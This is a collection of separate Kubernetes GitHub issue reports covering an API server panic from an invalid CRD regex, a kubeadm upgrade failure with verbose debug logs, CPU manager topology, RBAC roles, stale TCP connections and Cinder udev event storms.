failing jobs\r    kubeadm-gce  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce&show-stale-tests= \r    kubeadm-gce-selfhosting  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-selfhosting&show-stale-tests= \r \r error logs\r \r \r  / / /milestone v1.11\r /assign @luxas \r cc @jberkus @tpepper @timothysc \r \r possible breaking change https://github.com/kubernetes/kubernetes/pull/64624 as per offline discussions.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r created custom resource definition with invalid regex validation and custom resource. during creation of custom resource the api server crashes  and is successfully restarted, luckily  due to the invalid regex.\r \r    \r % kubectl apply -f /tmp/boom.yaml    \r error: error when creating \ /tmp/boom.yaml\ : post https://k8s.invalid:6443/apis/k8s.invalid/v1/namespaces/default/booms: unexpected eof; some request body already written\r    \r api pod log:\r    \r runtime.go:66  observed a panic: \ regexp: compile  +  : error parsing regexp: missing argument to repetition operator:  + \   regexp: com\r pile  +  : error parsing regexp: missing argument to repetition operator:  +  \r    \r \r   what you expected to happen  :\r \r server reporting meaning full error, ideally during creation of custom resource definition. in any case: do not panic and crash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a custom resource definition:\r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: booms.k8s.invalid\r spec:\r   group: k8s.invalid\r   version: v1\r   scope: namespaced\r   names:\r     plural: booms\r     singular: boom\r     kind: boom\r   validation:\r     openapiv3schema:\r       properties:\r         spec:\r           properties:\r             boom:\r               type: string\r               pattern: '+'\r    \r \r then create a custom resource:\r    yaml\r apiversion: \ k8s.invalid/v1\ \r kind: boom\r metadata:\r   name: boomerang\r spec:\r   boom: boom\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : debian stretch\r - kernel  e.g.  uname -a  : \r  linux <fqdn> 4.9.0-6-amd64  1 smp debian 4.9.88-1+deb9u1  2018-05-07  x86_64 gnu/linux \r - install tools: kubeadm\r - others: using containerd via cri\r

currently, if an intermediate ca is used to sign certs, the csr signing controller does not include the intermediate chain in the csr status. this means that anything requesting a cert via the csr api has to know the intermediates themselves  unlikely  or anything interacting with a component presenting or serving using an intermediate-issued cert must know about the intermediate issuer.\r \r ideally, we would have a way to:\r 1. indicate to the signing controller an optional intermediate bundle to include\r 2. include intermediates in the csr status  appending to the existing  certificate  field, having a separate  intermediates   byte  field, etc \r \r   /cc @mikedanese

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r current logging is not enough for azure disk diagnostics, change some log level from 4 to 2\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

i am trying to update kubernetes cluster from version 13.2 to 14.2 . i started with first two master nodes and it worked . when trying on the third it is giving me error \r \r    \r  upgrade  reading configuration from the cluster...\r  upgrade  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r unable to fetch the kubeadm-config configmap: failed to getapiendpoint: failed to get apiendpoint information for this node\r    \r \r i tried to increase the log to see where the problem stand but i could not get any hint \r \r    \r  root@master03 ~   kubeadm -v10  upgrade node experimental-control-plane\r i0524 10:44:32.848001   32399 node.go:129   upgrade  found nodename empty; considered os hostname as nodename\r i0524 10:44:32.848587   32399 interface.go:384  looking for default routes with ipv4 addresses\r i0524 10:44:32.848613   32399 interface.go:389  default route transits interface \ eno16777984\ \r i0524 10:44:32.849201   32399 interface.go:196  interface eno16777984 is up\r i0524 10:44:32.849352   32399 interface.go:244  interface \ eno16777984\  has 2 addresses : 192.168.70.237/28 fe80::250:56ff:fe81:317b/64 .\r i0524 10:44:32.849428   32399 interface.go:211  checking addr  192.168.70.237/28.\r i0524 10:44:32.849452   32399 interface.go:218  ip found 192.168.70.237\r i0524 10:44:32.849488   32399 interface.go:250  found valid ipv4 address 192.168.70.237 for interface \ eno16777984\ .\r i0524 10:44:32.849509   32399 interface.go:395  found active ip 192.168.70.237 \r i0524 10:44:32.853182   32399 loader.go:359  config loaded from file /etc/kubernetes/kubelet.conf\r  upgrade  reading configuration from the cluster...\r  upgrade  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r i0524 10:44:32.893830   32399 round_trippers.go:419  curl -k -v -xget  -h \ user-agent: kubeadm/v1.14.2  linux/amd64  kubernetes/66049e3\  -h \ accept: application/json,  / \  'https://192.168.70.234:6443/api/v1/namespaces/kube-system/configmaps/kubeadm-config'\r i0524 10:44:32.919454   32399 round_trippers.go:438  get https://192.168.70.234:6443/api/v1/namespaces/kube-system/configmaps/kubeadm-config 200 ok in 25 milliseconds\r i0524 10:44:32.919501   32399 round_trippers.go:444  response headers:\r i0524 10:44:32.919518   32399 round_trippers.go:447      date: fri, 24 may 2019 10:44:32 gmt\r i0524 10:44:32.919532   32399 round_trippers.go:447      content-type: application/json\r i0524 10:44:32.919545   32399 round_trippers.go:447      content-length: 1143\r i0524 10:44:32.919636   32399 request.go:942  response body: {\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ kubeadm-config\ ,\ namespace\ :\ kube-system\ ,\ selflink\ :\ /api/v1/namespaces/kube-system/configmaps/kubeadm-config\ ,\ uid\ :\ 65d9324c-090e-11e9-835f-0050568163fc\ ,\ resourceversion\ :\ 27300049\ ,\ creationtimestamp\ :\ 2018-12-26t13:01:45z\ },\ data\ :{\ clusterconfiguration\ :\ apiserver:\   extraargs:\     authorization-mode: node,rbac\   timeoutforcontrolplane: 4m0s\ apiversion: kubeadm.k8s.io/v1beta1\ certificatesdir: /etc/kubernetes/pki\ clustername: kubernetes\ controlplaneendpoint: 192.168.70.234:6443\ controllermanager: {}\ dns:\   type: coredns\ etcd:\   local:\     datadir: /var/lib/etcd\ imagerepository: k8s.gcr.io\ kind: clusterconfiguration\ kubernetesversion: v1.14.2\ networking:\   dnsdomain: cluster.local\   podsubnet: \\\ \\\ \   servicesubnet: 10.96.0.0/12\ scheduler: {}\ \ ,\ clusterstatus\ :\ apiendpoints:\   master:\     advertiseaddress: 192.168.70.232\     bindport: 6443\   master01:\     advertiseaddress: 192.168.70.236\     bindport: 6443\   master02:\     advertiseaddress: 192.168.70.237\     bindport: 6443\ apiversion: kubeadm.k8s.io/v1beta1\ kind: clusterstatus\ \ }}\r i0524 10:44:32.923740   32399 round_trippers.go:419  curl -k -v -xget  -h \ user-agent: kubeadm/v1.14.2  linux/amd64  kubernetes/66049e3\  -h \ accept: application/json,  / \  'https://192.168.70.234:6443/api/v1/namespaces/kube-system/configmaps/kube-proxy'\r i0524 10:44:32.929643   32399 round_trippers.go:438  get https://192.168.70.234:6443/api/v1/namespaces/kube-system/configmaps/kube-proxy 200 ok in 5 milliseconds\r i0524 10:44:32.929695   32399 round_trippers.go:444  response headers:\r i0524 10:44:32.929720   32399 round_trippers.go:447      content-type: application/json\r i0524 10:44:32.929740   32399 round_trippers.go:447      content-length: 1744\r i0524 10:44:32.929760   32399 round_trippers.go:447      date: fri, 24 may 2019 10:44:32 gmt\r i0524 10:44:32.929852   32399 request.go:942  response body: {\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ kube-proxy\ ,\ namespace\ :\ kube-system\ ,\ selflink\ :\ /api/v1/namespaces/kube-system/configmaps/kube-proxy\ ,\ uid\ :\ 66a06a66-090e-11e9-835f-0050568163fc\ ,\ resourceversion\ :\ 27300065\ ,\ creationtimestamp\ :\ 2018-12-26t13:01:46z\ ,\ labels\ :{\ app\ :\ kube-proxy\ }},\ data\ :{\ config.conf\ :\ apiversion: kubeproxy.config.k8s.io/v1alpha1\ bindaddress: 0.0.0.0\ clientconnection:\   acceptcontenttypes: \\\ \\\ \   burst: 10\   contenttype: application/vnd.kubernetes.protobuf\   kubeconfig: /var/lib/kube-proxy/kubeconfig.conf\   qps: 5\ clustercidr: \\\ \\\ \ configsyncperiod: 15m0s\ conntrack:\   max: null\   maxpercore: 32768\   min: 131072\   tcpclosewaittimeout: 1h0m0s\   tcpestablishedtimeout: 24h0m0s\ enableprofiling: false\ healthzbindaddress: 0.0.0.0:10256\ hostnameoverride: \\\ \\\ \ iptables:\   masqueradeall: false\   masqueradebit: 14\   minsyncperiod: 0s\   syncperiod: 30s\ ipvs:\   excludecidrs: null\   minsyncperiod: 0s\   scheduler: \\\ \\\ \   strictarp: false\   syncperiod: 30s\ kind: kubeproxyconfiguration\ metricsbindaddress: 127.0.0.1:10249\ mode: \\\ \\\ \ nodeportaddresses: null\ oomscoreadj: -999\ portrange: \\\ \\\ \ resourcecontainer: /kube-proxy\ udpidletimeout: 250ms\ winkernel:\   enabledsr: false\   networkname: \\\ \\\ \   sourcevip: \\\ \\\ \ ,\ kubeconfig.conf\ :\ apiversion: v1\ kind: config\ clusters:\ - cluster:\     certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\     server: https://192.168.70.234:6443\   name: default\ contexts:\ - context:\     cluster: default\     namespace: default\     user: default\   name: default\ current-context: default\ users:\ - name: default\   user:\     tokenfile: /var/run/secrets/kubernetes.io/serviceaccount/token\ }}\r i0524 10:44:32.933402   32399 round_trippers.go:419  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubeadm/v1.14.2  linux/amd64  kubernetes/66049e3\  'https://192.168.70.234:6443/api/v1/namespaces/kube-system/configmaps/kubelet-config-1.14'\r i0524 10:44:32.938667   32399 round_trippers.go:438  get https://192.168.70.234:6443/api/v1/namespaces/kube-system/configmaps/kubelet-config-1.14 200 ok in 5 milliseconds\r i0524 10:44:32.938703   32399 round_trippers.go:444  response headers:\r i0524 10:44:32.938718   32399 round_trippers.go:447      content-type: application/json\r i0524 10:44:32.938735   32399 round_trippers.go:447      content-length: 2138\r i0524 10:44:32.938748   32399 round_trippers.go:447      date: fri, 24 may 2019 10:44:32 gmt\r i0524 10:44:32.939218   32399 request.go:942  response body: {\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ kubelet-config-1.14\ ,\ namespace\ :\ kube-system\ ,\ selflink\ :\ /api/v1/namespaces/kube-system/configmaps/kubelet-config-1.14\ ,\ uid\ :\ 2c1fa424-7e00-11e9-bd71-00505681317b\ ,\ resourceversion\ :\ 27300051\ ,\ creationtimestamp\ :\ 2019-05-24t08:44:41z\ },\ data\ :{\ kubelet\ :\ address: 0.0.0.0\ apiversion: kubelet.config.k8s.io/v1beta1\ authentication:\   anonymous:\     enabled: false\   webhook:\     cachettl: 2m0s\     enabled: true\   x509:\     clientcafile: /etc/kubernetes/pki/ca.crt\ authorization:\   mode: webhook\   webhook:\     cacheauthorizedttl: 5m0s\     cacheunauthorizedttl: 30s\ cgroupdriver: cgroupfs\ cgroupsperqos: true\ clusterdns:\ - 10.96.0.10\ clusterdomain: cluster.local\ configmapandsecretchangedetectionstrategy: watch\ containerlogmaxfiles: 5\ containerlogmaxsize: 10mi\ contenttype: application/vnd.kubernetes.protobuf\ cpucfsquota: true\ cpucfsquotaperiod: 100ms\ cpumanagerpolicy: none\ cpumanagerreconcileperiod: 10s\ enablecontrollerattachdetach: true\ enabledebugginghandlers: true\ enforcenodeallocatable:\ - pods\ eventburst: 10\ eventrecordqps: 5\ evictionhard:\   imagefs.available: 15%\   memory.available: 100mi\   nodefs.available: 10%\   nodefs.inodesfree: 5%\ evictionpressuretransitionperiod: 5m0s\ failswapon: true\ filecheckfrequency: 20s\ hairpinmode: promiscuous-bridge\ healthzbindaddress: 127.0.0.1\ healthzport: 10248\ httpcheckfrequency: 20s\ imagegchighthresholdpercent: 85\ imagegclowthresholdpercent: 80\ imageminimumgcage: 2m0s\ iptablesdropbit: 15\ iptablesmasqueradebit: 14\ kind: kubeletconfiguration\ kubeapiburst: 10\ kubeapiqps: 5\ makeiptablesutilchains: true\ maxopenfiles: 1000000\ maxpods: 110\ nodeleasedurationseconds: 40\ nodestatusreportfrequency: 1m0s\ nodestatusupdatefrequency: 10s\ oomscoreadj: -999\ podpidslimit: -1\ port: 10250\ registryburst: 10\ registrypullqps: 5\ resolvconf: /etc/resolv.conf\ rotatecertificates: true\ runtimerequesttimeout: 2m0s\ serializeimagepulls: true\ staticpodpath: /etc/kubernetes/manifests\ streamingconnectionidletimeout: 4h0m0s\ syncfrequency: 1m0s\ volumestatsaggperiod: 1m0s\ \ }}\r i0524 10:44:32.943421   32399 loader.go:359  config loaded from file /etc/kubernetes/kubelet.conf\r i0524 10:44:32.944092   32399 round_trippers.go:419  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubeadm/v1.14.2  linux/amd64  kubernetes/66049e3\  'https://192.168.70.234:6443/api/v1/nodes/master03'\r i0524 10:44:32.949682   32399 round_trippers.go:438  get https://192.168.70.234:6443/api/v1/nodes/master03 200 ok in 5 milliseconds\r i0524 10:44:32.949716   32399 round_trippers.go:444  response headers:\r i0524 10:44:32.949732   32399 round_trippers.go:447      content-type: application/json\r i0524 10:44:32.949745   32399 round_trippers.go:447      date: fri, 24 may 2019 10:44:32 gmt\r i0524 10:44:32.950129   32399 request.go:942  response body: {\ kind\ :\ node\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ master03\ ,\ selflink\ :\ /api/v1/nodes/master03\ ,\ uid\ :\ d57b4282-4177-11e9-ac0d-0050568163fc\ ,\ resourceversion\ :\ 27318582\ ,\ creationtimestamp\ :\ 2019-03-08t07:57:35z\ ,\ labels\ :{\ beta.kubernetes.io/arch\ :\ amd64\ ,\ beta.kubernetes.io/os\ :\ linux\ ,\ kubernetes.io/arch\ :\ amd64\ ,\ kubernetes.io/hostname\ :\ master03\ ,\ kubernetes.io/os\ :\ linux\ ,\ node-role.kubernetes.io/master\ :\ \ },\ annotations\ :{\ kubeadm.alpha.kubernetes.io/cri-socket\ :\ /var/run/dockershim.sock\ ,\ node.alpha.kubernetes.io/ttl\ :\ 0\ ,\ volumes.kubernetes.io/controller-managed-attach-detach\ :\ true\ }},\ spec\ :{\ providerid\ :\ vsphere://42018008-c622-5457-5072-dca300ab0b1d\ ,\ taints\ : {\ key\ :\ node-role.kubernetes.io/master\ ,\ value\ :\ true\ ,\ effect\ :\ noschedule\ } },\ status\ :{\ capacity\ :{\ cpu\ :\ 2\ ,\ ephemeral-storage\ :\ 15866792ki\ ,\ hugepages-2mi\ :\ 0\ ,\ memory\ :\ 1882472ki\ ,\ pods\ :\ 110\ },\ allocatable\ :{\ cpu\ :\ 2\ ,\ ephemeral-storage\ :\ 14622835483\ ,\ hugepages-2mi\ :\ 0\ ,\ memory\ :\ 1780072ki\ ,\ pods\ :\ 110\ },\ conditions\ : {\ type\ :\ networkunavailable\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2019-05-24t10:20:15z\ ,\ lasttransitiontime\ :\ 2019-05-24t10:20:15z\ ,\ reason\ :\ weaveisup\ ,\ message\ :\ weave pod has set this\ },{\ type\ :\ memorypressure\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2019-05-24t10:44:23z\ ,\ lasttransitiontime\ :\ 2019-05-24t10:19:11z\ ,\ reason\ :\ kubelethassufficientmemory\ ,\ message\ :\ kubelet has sufficient memory available\ },{\ type\ :\ diskpressure\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2019-05-24t10:44:23z\ ,\ lasttransitiontime\ :\ 2019-05-24t10:19:11z\ ,\ reason\ :\ kubelethasnodiskpressure\ ,\ message\ :\ kubelet has no disk pressure\ },{\ type\ :\ pidpressure\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2019-05-24t10:44:23z\ ,\ lasttransitiontime\ :\ 2019-05-24t10:19:11z\ ,\ reason\ :\ kubelethassufficientpid\ ,\ message\ :\ kubelet has sufficient pid available\ },{\ type\ :\ ready\ ,\ status\ :\ true\ ,\ lastheartbeattime\ :\ 2019-05-24t10:44:23z\ ,\ lasttransitiontime\ :\ 2019-05-24t10:19:21z\ ,\ reason\ :\ kubeletready\ ,\ message\ :\ kubelet is posting ready status\ } ,\ addresses\ : {\ type\ :\ internalip\ ,\ address\ :\ 192.168.70.237\ },{\ type\ :\ hostname\ ,\ address\ :\ master03\ } ,\ daemonendpoints\ :{\ kubeletendpoint\ :{\ port\ :10250}},\ nodeinfo\ :{\ machineid\ :\ cb78eedbee654c64a6a94404630dfae9\ ,\ systemuuid\ :\ 42018008-c622-5457-5072-dca300ab0b1d\ ,\ bootid\ :\ d93347b7-379d-4caa-8007-c9a9c2d68d96\ ,\ kernelversion\ :\ 3.10.0-957.5.1.el7.x86_64\ ,\ osimage\ :\ centos linux 7  core \ ,\ containerruntimeversion\ :\ docker://18.9.3\ ,\ kubeletversion\ :\ v1.14.2\ ,\ kubeproxyversion\ :\ v1.14.2\ ,\ operatingsystem\ :\ linux\ ,\ architecture\ :\ amd64\ },\ images\ : {\ names\ : \ cnastorage/enablevcp@sha256:e870a12fdb8be23b873c2e2cefb72f94c9fe5f2dadbe59fc58220300b052adae\ ,\ cnastorage/enablevcp:v1\  ,\ sizebytes\ :534158993},{\ names\ : \ k8s.gcr.io/etcd@sha256:905d7ca17fd02bc24c0eba9a062753aba15db3e31422390bc3238eb762339b20\ ,\ k8s.gcr.io/etcd:3.2.24\  ,\ sizebytes\ :219655340},{\ names\ : \ k8s.gcr.io/kube-apiserver@sha256:4b41f5d80026821a127cff6377f021d955bf1fa23c1f73df80cf4bbe4070a9db\ ,\ k8s.gcr.io/kube-apiserver:v1.13.1\  ,\ sizebytes\ :180906066},{\ names\ : \ weaveworks/weave-kube@sha256:f1b6edd296cf0b7e806b1a1a1f121c1e8095852a4129edd08401fe2e7aab652d\ ,\ weaveworks/weave-kube:2.5.0\  ,\ sizebytes\ :148083959},{\ names\ : \ k8s.gcr.io/kube-controller-manager@sha256:bccb975718434a5201a2cbfb2456bdb00be832e101308d374df60c14c001d7ff\ ,\ k8s.gcr.io/kube-controller-manager:v1.13.1\  ,\ sizebytes\ :146191122},{\ names\ : \ k8s.gcr.io/kube-proxy@sha256:c91687ff6145f7fcdc7d8b3da3c530a9a9b50f0734c7a945a0d9c18fc3790dbc\ ,\ k8s.gcr.io/kube-proxy:v1.14.2\  ,\ sizebytes\ :82106236},{\ names\ : \ k8s.gcr.io/kube-proxy@sha256:0b0284fb0f630be8cc3491e180f7032c3d6c7fc2904f58f319acaf8e7bdbecd7\ ,\ k8s.gcr.io/kube-proxy:v1.13.1\  ,\ sizebytes\ :80222128},{\ names\ : \ k8s.gcr.io/kube-scheduler@sha256:4165e5f0d569b5b5e3bd90d78c30c5408b2c938d719939490299ab4cee9a9c0f\ ,\ k8s.gcr.io/kube-scheduler:v1.13.1\  ,\ sizebytes\ :79582322},{\ names\ : \ fluent/fluent-bit@sha256:e2846270454ca731cb366a5d634bce3110bd90962d78b769684f9b45119537e9\ ,\ fluent/fluent-bit:1.0.1\  ,\ sizebytes\ :53052062},{\ names\ : \ weaveworks/weave-npc@sha256:5bc9e4241eb0e972d3766864b2aca085660638b9d596d4fe761096db46a8c60b\ ,\ weaveworks/weave-npc:2.5.0\  ,\ sizebytes\ :49506380},{\ names\ : \ prom/node-exporter@sha256:c390c8fea4cd362a28ad5070aedd6515aacdfdffd21de6db42ead05e332be5a9\ ,\ prom/node-exporter:v0.17.0\  ,\ sizebytes\ :20982005},{\ names\ : \ k8s.gcr.io/pause@sha256:f78411e19d84a252e53bff71a4407a5686c46983a2c2eeed83929b888179acea\ ,\ k8s.gcr.io/pause:3.1\  ,\ sizebytes\ :742472} }}\r unable to fetch the kubeadm-config configmap: failed to getapiendpoint: failed to get apiendpoint information for this node\r

if we create an elb, and then add nodes in another az, i don't think the elb will be recognifgured to include the additional az.  verify / fix.

today, rkt's pod is immutable, which means once started, all the changes made to the pod or the containers within the pod will require the pod to be restarted.  as we are moving towards mutable pods in the future, rkt should support container level interfaces, which can also benefit us from making the container runtime interface more generic and runtime agnostic https://github.com/kubernetes/kubernetes/issues/22964 , as well as implement something like https://github.com/kubernetes/kubernetes/pull/23567  ref https://github.com/coreos/rkt/issues/2375

we do not have well-crafted rbac roles for some components like heapster, node-problem-detector, etc which basically has led to them using either overly powerful roles  like cluster-admin  or less powerful roles which leads to rbac deny msgs in the apiserver logs. we need to create the right roles for each of these components.\r \r feel free to comment below any new role that you think might be required.\r \r -  x  node problem detector - https://github.com/kubernetes/kubernetes/pull/40035\r -  x  heapster - https://github.com/kubernetes/kubernetes/pull/40028\r -  x  scheduler - https://github.com/kubernetes/kubernetes/pull/41285\r \r cc @kubernetes/sig-auth-misc @deads2k

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r yes\r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r tcp-connection from client to api server stale.\r ---\r \r   is this a bug report or feature request?    choose one :\r not sure\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r kube 1.6 dev branch before 1.6 was released\r ubuntu 14.04\r etcd 3.0.13\r kernel 3.13.0-76-generic\r cores 40\r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r agent clients  showing tcp connection established to api server, but actually doing nothing.\r in our current simulations of up-to 1000 agents talking to kube api server, we found some of the agents during flappy network were just hanging and doing nothing. checking the logs also shows no errors. even on network restore, the connection is still established. however, when a resource is updated, details are not received to the agents until we explicitly restart the agent that will establish a new tcp connection on a new port. so one of the suspicion is the tcp connection is stale and even-though established, client cannot get the resource updates. is it a known issue? also can we have some settings changed with default timeouts and tcp keep alive?\r \r ! tcp-error  https://user-images.githubusercontent.com/6869538/26952905-54d28ad0-4c5c-11e7-9024-51b529ca96d5.jpg \r \r \r   what you expected to happen  :\r when the network is restored, the updated resource should be received to the agents. we don't have to explicitely restart the agent service to establish a new tcp connection.\r \r   how to reproduce it    as minimally and precisely as possible :\r agent client  hangs when there is some network latency and on network restore, client shows connection established but actually not getting the heartbeat/updates from api\r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r \r  \r   description  :\r during the discussion at https://github.com/kubernetes/kubernetes/pull/50185 , we found there's some way to improve the performance of scheduling; for example, 1.  reordering the predicates to check simpler predicate firstly, 2.  group nodes by label/taints to filter nodes in batch  similar to equal cache .\r \r i'd like to continue this discussion here if any more proposal/suggestion.\r \r cc/ @gmarek @yastij @kubernetes/sig-scheduling-misc @kubernetes/sig-scalability-misc

fc disk manager doesn't handle failed mounts see  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/fc/disk_manager.go l58 \r \r  /assign

is this a bug report or feature request?  :\r \r  \r   what happened  :\r cpu manager uses topology from cadvisor which uses  proc/cpuinfo  which is different from  lscpu -p  in terms of coreid's.\r \r  lscpu -p  assigns coreid's in unique manner    platform-wise    whereas  proc/cpuinfo  has coreid's from cpu registers which are   unique only on socket level  . this causes some unexpected cpu assignment on platforms with more than one socket.\r \r all tests written all  \ false positive\ \r \r example output:\r    sh\r   the following is the parsable format, which can be fed to other\r   programs. each different item in every column has an unique id\r   starting from zero.\r   cpu,core,socket,node,,l1d,l1i,l2,l3\r 0,0,0,0,,0,0,0,0\r 1,1,0,0,,1,1,1,0\r 2,2,0,0,,2,2,2,0\r 3,3,0,0,,3,3,3,0\r 4,4,0,0,,4,4,4,0\r 5,5,0,0,,5,5,5,0\r 6,6,0,0,,6,6,6,0\r 7,7,0,0,,7,7,7,0\r 8,8,0,0,,8,8,8,0\r 9,9,0,0,,9,9,9,0\r 10,10,0,0,,10,10,10,0\r 11,11,0,0,,11,11,11,0\r 12,12,1,1,,12,12,12,1\r 13,13,1,1,,13,13,13,1\r 14,14,1,1,,14,14,14,1\r 15,15,1,1,,15,15,15,1\r 16,16,1,1,,16,16,16,1\r 17,17,1,1,,17,17,17,1\r 18,18,1,1,,18,18,18,1\r 19,19,1,1,,19,19,19,1\r 20,20,1,1,,20,20,20,1\r 21,21,1,1,,21,21,21,1\r 22,22,1,1,,22,22,22,1\r 23,23,1,1,,23,23,23,1\r 24,0,0,0,,0,0,0,0\r 25,1,0,0,,1,1,1,0\r 26,2,0,0,,2,2,2,0\r 27,3,0,0,,3,3,3,0\r 28,4,0,0,,4,4,4,0\r 29,5,0,0,,5,5,5,0\r 30,6,0,0,,6,6,6,0\r 31,7,0,0,,7,7,7,0\r 32,8,0,0,,8,8,8,0\r 33,9,0,0,,9,9,9,0\r 34,10,0,0,,10,10,10,0\r 35,11,0,0,,11,11,11,0\r 36,12,1,1,,12,12,12,1\r 37,13,1,1,,13,13,13,1\r 38,14,1,1,,14,14,14,1\r 39,15,1,1,,15,15,15,1\r 40,16,1,1,,16,16,16,1\r 41,17,1,1,,17,17,17,1\r 42,18,1,1,,18,18,18,1\r 43,19,1,1,,19,19,19,1\r 44,20,1,1,,20,20,20,1\r 45,21,1,1,,21,21,21,1\r 46,22,1,1,,22,22,22,1\r 47,23,1,1,,23,23,23,1\r    \r \r from  /proc/cpuinfo \r \r \r    sh\r  cpuid\t\tcoreid\t\tsocketid\r  0\t\t0\t\t0\r  1\t\t1\t\t0\r  2\t\t2\t\t0\r  3\t\t3\t\t0\r  4\t\t4\t\t0\r  5\t\t5\t\t0\r  6\t\t8\t\t0\r  7\t\t9\t\t0\r  8\t\t10\t\t0\r  9\t\t11\t\t0\r  10\t\t12\t\t0\r  11\t\t13\t\t0\r  12\t\t0\t\t1\r  13\t\t1\t\t1\r  14\t\t2\t\t1\r  15\t\t3\t\t1\r  16\t\t4\t\t1\r  17\t\t5\t\t1\r  18\t\t8\t\t1\r  19\t\t9\t\t1\r  20\t\t10\t\t1\r  21\t\t11\t\t1\r  22\t\t12\t\t1\r  23\t\t13\t\t1\r  24\t\t0\t\t0\r  25\t\t1\t\t0\r  26\t\t2\t\t0\r  27\t\t3\t\t0\r  28\t\t4\t\t0\r  29\t\t5\t\t0\r  30\t\t8\t\t0\r  31\t\t9\t\t0\r  32\t\t10\t\t0\r  33\t\t11\t\t0\r  34\t\t12\t\t0\r  35\t\t13\t\t0\r  36\t\t0\t\t1\r  37\t\t1\t\t1\r  38\t\t2\t\t1\r  39\t\t3\t\t1\r  40\t\t4\t\t1\r  41\t\t5\t\t1\r  42\t\t8\t\t1\r  43\t\t9\t\t1\r  44\t\t10\t\t1\r  45\t\t11\t\t1\r  46\t\t12\t\t1\r  47\t\t13\t\t1\r \r    \r \r   what you expected to happen  :\r fix either by changing the way cpu manger sees topology  use  lscpu -p   or redesign cpu manager to handle coreid's as socket only unique\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start kubelet on dual socket node\r 2. run g pod that requests 2 cores\r 3. g pod gets 2 cores on different sockets

 \r   what happened  :\r kubelet creates too many udev \ change\  events during cinder volume attachment.\r if volume attachement takes long, then udev event queue gets full, therefore\r udev does not answer requests from docker, and pleg makes the k8s node unhealthy.\r \r   what you expected to happen  :\r     kubelet should not run  udevadm trigger  so often.\r     kubelet should run  udevadm settle --timeout=1 && udevadm trigger \r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy k8s on openstack. configure k8s cluster with --cloud_provider=openstack.\r     cordon all nodes except one.\r     ssh into that node. start  udevadm monitor  and let it run.\r     create storateclass for cinder volumes.\r     deploy statefulset with volumeclaimtemplate pointing to that storageclass.\r     optionally, immediately detatch the newly-created cinder volume manually\r     through openstack cli or web interface to simulate a slow cinder attachment.\r     look back to the  udevadm monitor  to find thousands of udev events.\r     in case of the \ show\  attachement, the \ change\  udev events will never stop.\r     also run  top  to find that systemd-udevd consumes 100% cpu.\r     also run  docker ps  to find that it hangs and never answers.\r \r   anything else we need to know?  :\r attachment of a new cinder volume 